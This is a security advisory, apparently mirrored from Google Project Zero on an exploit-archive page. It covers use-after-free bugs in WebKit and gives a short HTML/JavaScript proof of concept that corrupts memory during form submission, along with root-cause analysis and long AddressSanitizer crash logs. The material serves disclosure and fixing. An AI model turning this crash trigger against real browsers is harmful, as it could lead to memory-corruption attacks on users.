    #10 0x108881f38 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x368f38)
    #11 0x108884536 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x36b536)
    #12 0x10a364e8b in WebCore::Node::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e4be8b)
    #13 0x109ba6f87 in WebCore::JSNode::appendChild(JSC::ExecState&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x168df87)
    #14 0x109ba4021 in WebCore::jsNodePrototypeFunctionAppendChildCaller(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x168b021)
    #15 0x109ba0572 in long long WebCore::BindingCaller<WebCore::JSNode>::callOperation<&(WebCore::jsNodePrototypeFunctionAppendChildCaller(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1687572)
    #16 0x109ba041e in WebCore::jsNodePrototypeFunctionAppendChild(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x168741e)
    #17 0x2e505aa01027  (<unknown module>)
    #18 0x105d07e9a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x126ae9a)
    #19 0x105d014da in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12644da)
    #20 0x1059a1c5d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf04c5d)
    #21 0x105908033 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xe6b033)
    #22 0x104f718d1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d48d1)
    #23 0x104f719fb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d49fb)
    #24 0x104f71d46 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d4d46)
    #25 0x1095a9e2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1090e2e)
    #26 0x109894c66 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x137bc66)
    #27 0x108dea325 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d1325)
    #28 0x108de9e4f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d0e4f)
    #29 0x108db3275 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x89a275)

previously allocated by thread T0 here:
    #0 0x103345bf0 in wrap_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4abf0)
    #1 0x10631af5e in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x187df5e)
    #2 0x1062b4f75 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1817f75)
    #3 0x1091334b0 in WTF::VectorBufferBase<WebCore::FormAssociatedElement*>::allocateBuffer(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1a4b0)
    #4 0x1091337d3 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::reserveCapacity(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1a7d3)
    #5 0x109148b53 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2fb53)
    #6 0x109145d00 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cd00)
    #7 0x109145b80 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cb80)
    #8 0x108ef9f98 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e0f98)
    #9 0x108efa25c in WebCore::FormAssociatedElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e125c)
    #10 0x10913ae30 in WebCore::HTMLFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc21e30)
    #11 0x10920b5c7 in WebCore::HTMLTextFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xcf25c7)
    #12 0x1091639f8 in WebCore::HTMLInputElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc4a9f8)
    #13 0x108893436 in WebCore::notifyNodeInsertedIntoDocument(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x37a436)
    #14 0x1088932d8 in WebCore::notifyChildNodeInserted(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x37a2d8)
    #15 0x108882697 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x369697)
    #16 0x1088810ba in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3680ba)
    #17 0x1090de9dc in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbc59dc)
    #18 0x1090d7947 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbbe947)
    #19 0x109108828 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbef828)
    #20 0x1091083e2 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbef3e2)
    #21 0x109107614 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbee614)
    #22 0x10910906d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbf006d)
    #23 0x108b6e4a1 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6554a1)
    #24 0x108ca0138 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x787138)
    #25 0x108c645ef in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x74b5ef)
    #26 0x10876f577 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256577)
    #27 0x10876a479 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x251479)
    #28 0x10acc2f84 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27a9f84)
    #29 0x101662f95 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8def95)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2be27) in WebCore::HTMLFormElement::reset()
Shadow bytes around the buggy address:
  0x1c1800014530: fc fc fc fc fc fc fc fc fa fa fa fa fa fa fa fa
  0x1c1800014540: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c1800014550: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c1800014560: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
  0x1c1800014570: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1c1800014580: fa fa fa fa fa fa fa fa fd fd[fd]fd fd fd fd fd
  0x1c1800014590: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x1c18000145a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
  0x1c18000145b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x1c18000145c0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
  0x1c18000145d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1963==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1090

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on a nightly version of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac.

Please note: This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.

With any fix, please give credit for identifying the vulnerability to Ivan Fratric of Google Project Zero.

PoC:

=================================================================
-->

<script>
function go() {
  object.name = "foo";
  input.autofocus = true;
  output.appendChild(input);
  form.submit();
}
function eventhandler() {
  for(var i=0;i<100;i++) {
    var e = document.createElement("input");
    form.appendChild(e);
  }
}
</script>
<body onload=go()>
<form id="form">
<object id="object">
<output id="output">a</output>
<input id="input" onfocus="eventhandler()">

<!--
=================================================================

Preliminary analysis:

The bug is in FormSubmission::create(). This function traverses the vector of form.associatedElements(), however it is possible for JavaScript event handlers to trigger while the vector is being traversed and to resize (reallocate) the vector's buffer.

ASan log:

=================================================================
==1013==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0000a3b48 at pc 0x0001126c7be0 bp 0x7fff55811d50 sp 0x7fff55811d48
READ of size 8 at 0x60c0000a3b48 thread T0
    #0 0x1126c7bdf in WebCore::FormSubmission::create(WebCore::HTMLFormElement*, WebCore::FormSubmission::Attributes const&, WTF::PassRefPtr<WebCore::Event>, WebCore::LockHistory, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa55bdf)
    #1 0x1128c2df1 in WebCore::HTMLFormElement::submit(WebCore::Event*, bool, bool, WebCore::FormSubmissionTrigger) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc50df1)
    #2 0x11312acf0 in WebCore::jsHTMLFormElementPrototypeFunctionSubmitCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x14b8cf0)
    #3 0x1131273cd in long long WebCore::BindingCaller<WebCore::JSHTMLFormElement>::callOperation<&(WebCore::jsHTMLFormElementPrototypeFunctionSubmitCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x14b53cd)
    #4 0x3212cc401027  (<unknown module>)
    #5 0x10f3aa26c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c)
    #6 0x10f3aa26c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c)
    #7 0x10f3a383a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12be83a)
    #8 0x10f06247d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf7d47d)
    #9 0x10efecaa3 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf07aa3)
    #10 0x10e6de991 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9991)
    #11 0x10e6deabb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9abb)
    #12 0x10e6dee06 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9e06)
    #13 0x112d24b2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x10b2b2e)
    #14 0x11300a786 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1398786)
    #15 0x112565a05 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f3a05)
    #16 0x11256552f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f352f)
    #17 0x112454431 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7e2431)
    #18 0x112463c2f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7f1c2f)
    #19 0x112372aef in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x700aef)
    #20 0x11236d88e in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6fb88e)
    #21 0x1126d93a1 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa673a1)
    #22 0x111ed86f7 in WebCore::CachedResourceLoader::loadDone(WebCore::CachedResource*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2666f7)
    #23 0x1144728a3 in WebCore::SubresourceLoader::notifyDone() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x28008a3)
    #24 0x11447081b in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe81b)
    #25 0x10acdf615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615)
    #26 0x10acdec2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a)
    #27 0x10a68d1f9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28c1f9)
    #28 0x10a4b0448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448)
    #29 0x10a4b9614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614)
    #30 0x10f99bab3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6ab3)
    #31 0x10f99df1e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b8f1e)
    #32 0x7fff9aa2c7e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0)
    #33 0x7fff9aa0bf1b in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x89f1b)
    #34 0x7fff9aa0b43e in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x8943e)
    #35 0x7fff9aa0ae37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
    #36 0x7fff8c153934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
    #37 0x7fff8c15376e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
    #38 0x7fff8c1535ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
    #39 0x7fff882d1df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
    #40 0x7fff882d1225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
    #41 0x7fff882c5d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
    #42 0x7fff8828f367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
    #43 0x7fff9375e193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
    #44 0x7fff9375cbbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
    #45 0x10a3ebb73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #46 0x7fff9765e5ac in start (/usr/lib/system/libdyld.dylib+0x35ac)

0x60c0000a3b48 is located 8 bytes inside of 128-byte region [0x60c0000a3b40,0x60c0000a3bc0)
freed by thread T0 here:
    #0 0x10c9b9cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x10f9e636f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190136f)
    #2 0x1128c8383 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc56383)
    #3 0x1128c48f0 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc528f0)
    #4 0x1128c4770 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc52770)
    #5 0x11267b4d8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa094d8)
    #6 0x11267bd4e in WebCore::FormAssociatedElement::resetFormOwner() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa09d4e)
    #7 0x1128e2fcd in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc70fcd)
    #8 0x112008db8 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396db8)
    #9 0x112008a22 in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396a22)
    #10 0x112008518 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396518)
    #11 0x11200ab16 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x398b16)
    #12 0x113b094eb in WebCore::Node::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e974eb)
    #13 0x1133318b7 in WebCore::JSNode::appendChild(JSC::ExecState&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x16bf8b7)
    #14 0x11332e951 in WebCore::jsNodePrototypeFunctionAppendChildCaller(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x16bc951)
    #15 0x11332aea2 in long long WebCore::BindingCaller<WebCore::JSNode>::callOperation<&(WebCore::jsNodePrototypeFunctionAppendChildCaller(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x16b8ea2)
    #16 0x11332ad4e in WebCore::jsNodePrototypeFunctionAppendChild(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x16b8d4e)
    #17 0x3212cc401027  (<unknown module>)
    #18 0x10f3aa1fa in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c51fa)
    #19 0x10f3aa26c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c)
    #20 0x10f3a383a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12be83a)
    #21 0x10f06247d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf7d47d)
    #22 0x10efecaa3 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf07aa3)
